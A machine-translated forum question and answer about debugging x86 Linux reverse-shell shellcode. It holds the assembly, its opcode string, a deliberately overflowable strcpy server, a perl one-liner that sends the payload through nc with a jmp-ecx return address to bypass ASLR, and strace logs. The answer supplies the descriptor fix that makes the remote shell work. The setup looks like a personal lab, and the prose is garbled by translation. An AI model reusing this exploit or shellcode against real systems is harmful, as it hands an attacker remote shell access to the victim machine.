2016-02-23 2 views
-1

Добрый день. Я искал какое-то время, что происходит с этим шеллкодеком. Это код ASM:Этот шеллкод и головная боль

add esp, 0x3c 
xor eax, eax 
xor ebx, ebx 
xor ecx, ecx 
xor edx, edx 
mov al, 102 ; __NR_socketcall 
inc bl  ; socket 
push ecx 
push 0x6  ; IPPROTO_TCP 
push 0x1  ; SOCK_STREAM 
push 0x2  ; AF_INET 
mov ecx, esp 
int 0x80  ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) 
mov esi, eax ; esi = socket descriptor 

mov al, 0x66 ; __NR_socketcall 
mov bl, 0x2 
push 0x1201a8c0 ; addr = 
push word 0x697a  ; port = 31337 
push bx   ; AF_INET 
inc bl 
mov ecx, esp 
push 0x10 
push ecx 

push esi 
mov ecx, esp 
int 0x80 

xor ecx, ecx 
mov cl, 3 
bucle: 
dec cl 
mov al, 0x3f 
int 0x80 
jne bucle 

xor eax, eax 
push edx 
push 0x68732f6e 
push 0x69622f2f 
mov ebx, esp 
push edx 
push ebx 
mov ecx, esp 
push edx 
mov edx, esp 
mov al, 0xb 
int 0x80 

добавить особ, 0x3c на Зачин, чтобы избежать шеллкода перезаписана себя. Он работает ensambling с NASM sc.asm, получение опкоды с XXD и его выполнения, используя этот код С:

#include <stdio.h> 

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \ 
        "\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \ 
        "\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \ 
        "\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \ 
        "\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \ 
        "\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \ 
        "\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \ 
        "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \ 
        "\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"; 

void main() 
{ 
    void (*fp)(); 
    fp = (void*) &shellcode; 
    fp(); 
} 

Экран 1:

 
[email protected]:~/exploiting/remote$ ./prueba 

Экран 2:

 
[email protected]:~/exploiting/remote$ nc -lvvp31337 
listening on [any] 31337 ... 
connect to [192.168.1.18] from kali [192.168.1.18] 50026 
whoami 
arget 
exit 
sent 12, rcvd 6 
[email protected]:~/exploiting/remote$ 

Но все изменилось, используя другой код:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

int vuln(char* arg, int newsockfd) 
{ 
    int n; 
    char vul[128]; 
    strcpy(vul, arg); 
    n = write(newsockfd, vul, strlen(vul)); 
    return n; 
} 

void shell() 
{ 
    __asm__("jmp *%ecx"); 
} 

void error(const char *msg) 
{ 
    perror(msg); 
    exit(1); 
} 

int main(int argc, char **argv) 
{ 
    int sockfd, newsockfd, portno; 
    socklen_t clilen; 
    char buffer[256]; 
    struct sockaddr_in serv_addr, cli_addr; 
    int n; 
    if(argc < 2) 
    { 
     fprintf(stderr, "ERROR, no se ha indicado puerto\n"); 
     exit(1); 
    } 
    sockfd = socket(AF_INET, SOCK_STREAM, 0); 
    if(sockfd < 0) 
     error("ERROR al abrir el socket"); 
    bzero((char*) &serv_addr, sizeof(serv_addr)); 
    portno = atoi(argv[1]); 
    serv_addr.sin_family = AF_INET; 
    serv_addr.sin_addr.s_addr = INADDR_ANY; 
    serv_addr.sin_port = htons(portno); 
    if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0) 
     error("ERROR en bind()"); 
    listen(sockfd, 5); 
    clilen = sizeof(cli_addr); 
    newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen); 
    if(newsockfd < 0) 
     error("ERROR en accept"); 
    bzero(buffer, 256); 
    n = read(newsockfd, buffer, 255); 
    if(n < 0) 
     error("ERROR leyendo del socket"); 
    printf("%s", buffer); 
    n = vuln(buffer, newsockfd); 
    if(n < 0) 
     error("ERROR escribiendo en el socket"); 
    close(newsockfd); 
    close(sockfd); 
    return 0; 
} 

Составлено с gcc v.c -o v -z execstack. Анализируя его с помощью gdb, мы можем видеть в vuln(), что он резервирует 140 байт до EBP, поэтому 144 перед EIP. Также мы видим, что в момент выполнения ret ecx попадает в наш буфер. С objdump -d v мы получаем addres jmp *%ecx: 0x0804875c, и мы можем использовать его для обхода ASLR.

Открыт терминал выполнение пса -lvvp31337 на машине атакующей, мы можем приступить к нападению, на зараженном компьютере мы выполняем стеку overflowable программы: ./v 1337 и на атакующей машине мы посылаем:

 
perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337 

В консоли «н.д. -lvvp31337» результат заключается в следующем:

 
[email protected]:~$ nc -lvvp31337 
listening on [any] 31337 ... 
connect to [192.168.1.18] from kali [192.168.1.18] 50030 
sent 0, rcvd 0 
[email protected]:~$ 

соединение было на самом деле здесь, но это необъяснимо закрыто. Если мы проследим системные вызовы с «Трассирование ./v 1337» результаты после атаки таковы:

[email protected]:~/exploiting/remote$ strace ./v 1337 
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0 
brk(NULL)        = 0x8a07000 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000 
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory) 
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0 
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000 
close(3)        = 0 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0 
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000 
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000 
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000 
close(3)        = 0 
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000 
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6) 
mprotect(0xb7772000, 8192, PROT_READ) = 0 
mprotect(0xb77bc000, 4096, PROT_READ) = 0 
munmap(0xb7778000, 127778)    = 0 
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 
listen(3, 5)       = 0 
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4 
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148 
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0 
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000 
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148 
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5 
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0 
dup2(3, 2)        = 2 
dup2(3, 1)        = 1 
dup2(3, 0)        = 0 
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 
brk(NULL)        = 0xb88bf000 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000 
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory) 
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6 
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0 
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000 
close(6)        = 0 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6 
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0 
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000 
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000 
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000 
close(6)        = 0 
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000 
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6) 
mprotect(0xb7742000, 8192, PROT_READ) = 0 
mprotect(0xb77ab000, 4096, PROT_READ) = 0 
mprotect(0xb778c000, 4096, PROT_READ) = 0 
munmap(0xb7748000, 127778)    = 0 
getpid()        = 1993 
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
geteuid32()        = 1000 
getppid()        = 1991 
brk(NULL)        = 0xb88bf000 
brk(0xb88e0000)       = 0xb88e0000 
getcwd("/home/arget/exploiting/remote", 4096) = 30 
ioctl(0, TCGETS, 0xbfbcbea8)   = -1 ENOTTY (Inappropriate ioctl for device) 
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
read(0, 0xb77ac6c0, 8192)    = -1 ENOTCONN (Transport endpoint is not connected) 
exit_group(0)       = ? 
+++ exited with 0 +++ 
[email protected]:~/exploiting/remote$ 

Хорошо, как мы можем видеть Шеллкод выполняется, и она работает хорошо, пока он не вызывает// bin/sh, который неожиданно завершает работу.

Сравнивая это с программой «Prueba» в начале поста, подчеркивает, что они понимают, что практически одни и те же системные вызовы, смотрите:

[email protected]:~/exploiting/remote$ strace ./prueba 
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0 
brk(NULL)        = 0x8656000 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000 
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory) 
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0 
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000 
close(3)        = 0 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0 
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000 
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000 
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000 
close(3)        = 0 
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000 
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6) 
mprotect(0xb7722000, 8192, PROT_READ) = 0 
mprotect(0xb776c000, 4096, PROT_READ) = 0 
munmap(0xb7728000, 127778)    = 0 
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0 
dup2(3, 2)        = 2 
dup2(3, 1)        = 1 
dup2(3, 0)        = 0 
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0 
brk(NULL)        = 0xb89de000 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000 
access("/etc/ld.so.preload", R_OK)  = -1 ENOENT (No such file or directory) 
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4 
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0 
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000 
close(4)        = 0 
access("/etc/ld.so.nohwcap", F_OK)  = -1 ENOENT (No such file or directory) 
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4 
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512 
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0 
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000 
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000 
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000 
close(4)        = 0 
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000 
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6) 
mprotect(0xb76b7000, 8192, PROT_READ) = 0 
mprotect(0xb7720000, 4096, PROT_READ) = 0 
mprotect(0xb7701000, 4096, PROT_READ) = 0 
munmap(0xb76bd000, 127778)    = 0 
getpid()        = 2029 
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
geteuid32()        = 1000 
getppid()        = 2027 
brk(NULL)        = 0xb89de000 
brk(0xb89ff000)       = 0xb89ff000 
getcwd("/home/arget/exploiting/remote", 4096) = 30 
ioctl(0, TCGETS, 0xbf80ad38)   = -1 ENOTTY (Inappropriate ioctl for device) 
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0 
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0 
read(0, "exit\n", 8192)     = 5 
exit_group(0)       = ? 
+++ exited with 0 +++ 
[email protected]:~/exploiting/remote$ 

И в «н.д. -lvvp31337»:

 
[email protected]:~$ nc -lvvp31337 
listening on [any] 31337 ... 
connect to [192.168.1.18] from kali [192.168.1.18] 50779 
exit 
sent 5, rcvd 0 
[email protected]:~$ 

У кого-нибудь есть идеи, в чем проблема?

ответ

2

ошибка очевидна из strace вывода, что вы так хорошо, если:

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5 
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0 
dup2(3, 2)        = 2 
dup2(3, 1)        = 1 
dup2(3, 0)        = 0 

Шеллкода открывает сокет на дескрипторе 5, но затем переходит к использованию FD 3.Это происходит потому, что:

mov bl, 0x2 
push 0x1201a8c0 ; addr = 
push word 0x697a  ; port = 31337 
push bx   ; AF_INET 
inc bl 

Эта часть устанавливает bl в 3, который также будет позже использоваться для дескриптора файла. Поскольку правильный fd был сохранен ранее до esi, вы можете сделать mov ebx, esi перед меткой bucle, чтобы исправить это.

Смежные вопросы